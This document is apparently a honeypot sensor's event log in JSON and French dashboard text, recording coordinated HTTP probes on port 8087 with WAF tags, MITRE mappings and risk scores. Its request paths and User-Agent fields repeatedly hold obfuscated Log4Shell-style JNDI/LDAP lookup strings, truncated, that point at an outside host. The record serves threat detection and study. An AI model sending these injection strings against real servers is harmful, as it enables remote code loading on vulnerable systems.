"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k1g:qa:-:}${pitm:k:-j}${9xv:-a}${x:y:-v}${s:mf:k:-a}${f2:-.}${ko7:m:-v}${0nmx:qk:-e}${75li:u36:p:-r}${0w5:o:cp:-s}${ecr:9d16:6rp:-i}${4egz:s4k:-o}${i:0na8:e:-n}}${wz0a:-.}${4pd:uq:5djb:-4}${s:-e}${tn:1n:8d92:-b}${n:-e}${mvbl:njxy:6nc:-7}${y4:3:rg:-b}${j8:-a",
"payload_snippet": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wd",
"evidence": {
"method": "GET",
"path": "\/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k1g:qa:-:}${pitm:k:-j}${9xv:-a}${x:y:-v}${s:mf:k:-a}${f2:-.}${ko7:m:-v}${0nmx:qk:-e}${75li:u36:p:-r}${0w5:o:cp:-s}${ecr:9d16:6rp:-i}${4egz:s4k:-o}${i:0na8:e:-n}}${wz0a:-.}${4pd:uq:5djb:-4}${s:-e}${tn:1n:8d92:-b}${n:-e}${mvbl:njxy:6nc:-7}${y4:3:rg:-b}${j8:-a}${r",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k1g:qa:-:}${pitm:k:-j}${9xv:-a}${x:y:-v}${s:mf:k:-a}${f2:-.}${ko7:m:-v}${0nmx:qk:-e}${75li:u36:p:-r}${0w5:o:cp:-s}${ecr:9d16:6rp:-i}${4egz:s4k:-o}${i:0na8:e:-n}}${wz0a:-.}${4pd:uq:5djb:-4}${s:-e}${tn:1n:8d92:-b}${n:-e}${mvbl:njxy:6nc:-7}${y4:3:rg:-b}${j8:-a",
"request_sample": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k",
"payload_snippet": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wd",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1c589aff19bd8fcfd7cf97373c18563835aab444",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2\u2026",
"request_line": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wd",
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:j\u2026",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 62\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 62,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2\u2026",
"request_line": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:j\u2026",
"evidence_snippet": "GET \/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wd",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_auth_header_token",
"http_bearer_auth",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:18 UTC
TCP
8087 · HTTP
Sonde port 8087/TCP
port 8087 tcp · via HTTP:8087 · (sonde / probe) · → /${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae…
Élevée
Moyen · 61
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:… UA ${${hu:-j}${md:-n}${b:5f:-d}${cy:-i}${z8:-:}${g:604o:-l}${ba3x:…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-/}${qky:buc6:-/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:dyo:-a}${q:w:e:-v}${u:2wx:-a}${xdmc:7f:-.}${y4:k:-v}${5g:tv1:-e}${x:-r}${87ei:0:o40r:-s}${gmb:jn:-i}${tvn:4yq:vdlg:-o}${uyoa:l:-n}}${a:-.}${doq5:dv3:-4}${pwt7:gn:-e}${sl:8t:jw:-b}${ox0:mh:r:-e}${8htm:-7}${6:-b}${po:hku8:-a}${xb:rl:o31:-d}${tsbv:pbk3:-2}${gacl:m
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-/}${qky:buc6:-/}${hj6:-P}${2:-A}${cgu…
Preuve honeypot — Sonde port 8087/TCP
Connexion détectée sur le port 8087 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8087_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 61
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-/}${qky:buc6:-/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:dyo:-a}${q:w:e:-v}${u:2wx:-a}${xdmc:7f:-.}${y4:k:-v}${5g:tv1:-e}${x:-r}${87ei:0:o40r:-s}${gmb:jn:-i}${tvn:4yq:vdlg:-o}${uyoa:l:-n}}${a:-.}${doq5:dv3:-4}${pwt7:gn:-e}${sl:8t:jw:-b}${ox0:mh:r:-e}${8htm:-7}${6:-b}${po:hku8:-a}${xb:rl:o31:-d}${tsbv:pbk3:-2}${ga
User-Agent
${${hu:-j}${md:-n}${b:5f:-d}${cy:-i}${z8:-:}${g:604o:-l}${ba3x:-d}${6wcy:x8pt:-a}${um:7dck:-p}${iwej:-:}${uf8l:gx0:-/}${3f:d:uy:-/}${k9:fo:b:-U}${b:-A}${oe76:0v:-l}${073q:0xm5:-0}${c90g:-c}${rw:52:hd…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-/}
Requête brute (extrait)
GET /${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-/}${qky:buc6:-/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:d
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${v1wq:dmce:sbd:-g}${yu2:ak:-o}${m:-o}${9:wgpe:-g}}",
"http_ua_hash": "52fb0cc100b0b44401d72345e7c5f463b3059bf6",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "455f6837cd8755baf8f7efb49dad05e1d9724cb9",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.781955449199906,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.1,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 61,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "9ef98da09e3a065bcf5b5f2a16441c4cc1c9939d",
"event_fingerprint": "871e4c20dcb15e92051c34b020918ceda7fff160",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "38048cefcb20bbc19fdbf0492252e843",
"payload_hash": "8f4e4f821bc365ee261d48859ab14025",
"path_pattern_hash": "6b9449f5d8da0629c3eb4e1a5fb55c83"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"method": "GET",
"path": "\/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:dyo:-a}${q:w:e:-v}${u:2wx:-a}${xdmc:7f:-.}${y4:k:-v}${5g:tv1:-e}${x:-r}${87ei:0:o40r:-s}${gmb:jn:-i}${tvn:4yq:vdlg:-o}${uyoa:l:-n}}${a:-.}${doq5:dv3:-4}${pwt7:gn:-e}${sl:8t:jw:-b}${ox0:mh:r:-e}${8htm:-7}${6:-b}${po:hku8:-a}${xb:rl:o31:-d}${tsbv:pbk3:-2}${gacl:m",
"user_agent": "${${hu:-j}${md:-n}${b:5f:-d}${cy:-i}${z8:-:}${g:604o:-l}${ba3x:-d}${6wcy:x8pt:-a}${um:7dck:-p}${iwej:-:}${uf8l:gx0:-\/}${3f:d:uy:-\/}${k9:fo:b:-U}${b:-A}${oe76:0v:-l}${073q:0xm5:-0}${c90g:-c}${rw:52:hdz5:--}${${fuso:z7:t:-s}${7vg:z1f7:-y}${ml:wz:-s}${48:fgj\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:dyo:-a}${q:w:e:-v}${u:2wx:-a}${xdmc:7f:-.}${y4:k:-v}${5g:tv1:-e}${x:-r}${87ei:0:o40r:-s}${gmb:jn:-i}${tvn:4yq:vdlg:-o}${uyoa:l:-n}}${a:-.}${doq5:dv3:-4}${pwt7:gn:-e}${sl:8t:jw:-b}${ox0:mh:r:-e}${8htm:-7}${6:-b}${po:hku8:-a}${xb:rl:o31:-d}${tsbv:pbk3:-2}${ga",
"payload_snippet": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}",
"evidence": {
"method": "GET",
"path": "\/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:dyo:-a}${q:w:e:-v}${u:2wx:-a}${xdmc:7f:-.}${y4:k:-v}${5g:tv1:-e}${x:-r}${87ei:0:o40r:-s}${gmb:jn:-i}${tvn:4yq:vdlg:-o}${uyoa:l:-n}}${a:-.}${doq5:dv3:-4}${pwt7:gn:-e}${sl:8t:jw:-b}${ox0:mh:r:-e}${8htm:-7}${6:-b}${po:hku8:-a}${xb:rl:o31:-d}${tsbv:pbk3:-2}${gacl:m",
"user_agent": "${${hu:-j}${md:-n}${b:5f:-d}${cy:-i}${z8:-:}${g:604o:-l}${ba3x:-d}${6wcy:x8pt:-a}${um:7dck:-p}${iwej:-:}${uf8l:gx0:-\/}${3f:d:uy:-\/}${k9:fo:b:-U}${b:-A}${oe76:0v:-l}${073q:0xm5:-0}${c90g:-c}${rw:52:hdz5:--}${${fuso:z7:t:-s}${7vg:z1f7:-y}${ml:wz:-s}${48:fgj\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:dyo:-a}${q:w:e:-v}${u:2wx:-a}${xdmc:7f:-.}${y4:k:-v}${5g:tv1:-e}${x:-r}${87ei:0:o40r:-s}${gmb:jn:-i}${tvn:4yq:vdlg:-o}${uyoa:l:-n}}${a:-.}${doq5:dv3:-4}${pwt7:gn:-e}${sl:8t:jw:-b}${ox0:mh:r:-e}${8htm:-7}${6:-b}${po:hku8:-a}${xb:rl:o31:-d}${tsbv:pbk3:-2}${ga",
"request_sample": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${${uegd:-s}${x:vm8:-y}${d3:-s}${g:kolm:-:}${gj:-j}${g:85:d",
"payload_snippet": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f2ba02251fed2448edf84268312ce050b1663ee5",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgu\u2026",
"request_line": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${\u2026",
"http_user_agent": "${${hu:-j}${md:-n}${b:5f:-d}${cy:-i}${z8:-:}${g:604o:-l}${ba3x:-d}${6wcy:x8pt:-a}${um:7dck:-p}${iwej:-:}${uf8l:gx0:-\/}$\u2026",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}",
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae\u2026",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgu\u2026",
"request_line": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}${qky:buc6:-\/}${hj6:-P}${2:-A}${cgub:-l}${rc:-0}${hwq:if:-c}${ads:--}${\u2026",
"http_user_agent": "${${hu:-j}${md:-n}${b:5f:-d}${cy:-i}${z8:-:}${g:604o:-l}${ba3x:-d}${6wcy:x8pt:-a}${um:7dck:-p}${iwej:-:}${uf8l:gx0:-\/}$\u2026",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae\u2026",
"evidence_snippet": "GET \/${${e:2:tr:-j}${2tx:n:-n}${c8:8b:-d}${s7g8:oae:-i}${0:o:-:}${oip:a:uya:-l}${vyl8:1r:-d}${7:-a}${p:-p}${pch:-:}${cmr:mtp:-\/}",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
